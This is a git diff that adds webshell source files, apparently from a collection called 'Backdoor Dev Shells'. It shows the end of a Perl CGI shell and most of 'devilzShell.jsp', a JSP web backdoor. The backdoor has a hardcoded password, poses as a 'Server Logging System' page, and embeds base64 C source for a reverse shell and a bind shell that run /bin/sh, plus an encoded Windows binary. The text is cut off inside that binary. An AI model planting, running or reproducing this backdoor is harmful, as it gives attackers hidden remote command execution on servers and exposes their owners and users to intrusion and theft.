+ ".&xfilesummary($file)." ".$msg."
+
+".$result."
+
+
+
+ ";
+}
+else{
+ $result = &xdir($xCwd);
+}
+################# Finalizing #######################======================================================]
+$xCwd = xcleanpath($xCwd);
+if($auth){
+ if(defined($_VAR{'bportC'})) { $bportC = $_VAR{'bportC'}; }
+ else { $bportC = $shell_fav_port; }
+ if(defined($_VAR{'lportC'})) { $lportC = $_VAR{'lportC'}; }
+ else { $lportC = $shell_fav_port; }
+ $html_title = $shell_title." ".$xCwd;
+ $html_head = "
+".$html_title."
+
+".$shell_style."
+
+";
+$html_body = "
+
+
+
".$xHeader."
+
+".&xdrive()."
+".&xparsedir($xCwd)."
+
+
+
+
+
+
+
+
+
+";
+}
+else {
+ $html_title = $shell_fake_name;
+ $html_head = "".$html_title." ".$shell_style;
+ $html_body = "
+
+";
+}
+if(defined($_VAR{'cmd'}) || defined($_VAR{'passw'})) { $html_onload = "onload=\"document.getElementById('cmd').focus();\""; }
+else { $html_onload = ""; }
+$html_final = "
+
+
+".$html_head."
+
+
+
+".$html_body."
+
+
+";
+print "Content-type: text/html\n\n";
+$html_final =~ s/\s+/ /g;
+print $html_final;
\ No newline at end of file
diff --git a/Backdoor Dev Shells/Source/devilzShell.jsp b/Backdoor Dev Shells/Source/devilzShell.jsp
new file mode 100644
index 0000000..7a21fdd
--- /dev/null
+++ b/Backdoor Dev Shells/Source/devilzShell.jsp
@@ -0,0 +1,1319 @@
+<%@ page contentType="text/html"%><%@ page import="java.io.*,java.util.*,java.net.*,java.text.*,sun.misc.*,java.security.*,java.lang.*,java.lang.String" %><%
+//
+// devilzShell <[jsp]>
+// ^^^^^^^^^^^^
+// author: b374k
+// greets: devilzc0der(s) and all of you who love peace and freedom
+//
+//
+// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+// Jayalah Indonesiaku
+
+
+//################ VARIABLES GOES HERE #######################=============================================]
+String shell_name = "devilzShell";
+String shell_fake_name = "Server Logging System";
+String shell_title = " :: " + shell_name + " ::";
+String shell_version = "v1";
+String shell_password = "devilzc0der";
+String shell_fav_port = "12345";
+String shell_color = "#374374";
+
+// server software
+String xSoftware = application.getServerInfo().trim();
+// uname -a
+String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch");
+// server ip
+InetAddress inetAddress = InetAddress.getLocalHost();
+String xServerIP = inetAddress.getHostAddress();
+// your ip ;-)
+String xClientIP = request.getRemoteAddr();
+
+String xHeader = xSoftware + " " + xSystem + " Server IP: [ " + xServerIP + " ] Your IP: [ " + xClientIP + " ] ";
+
+//################# RESOURCES GOES HERE #######################=============================================]
+String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
+String bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
+String xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
+String xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ==";
+String wBind = "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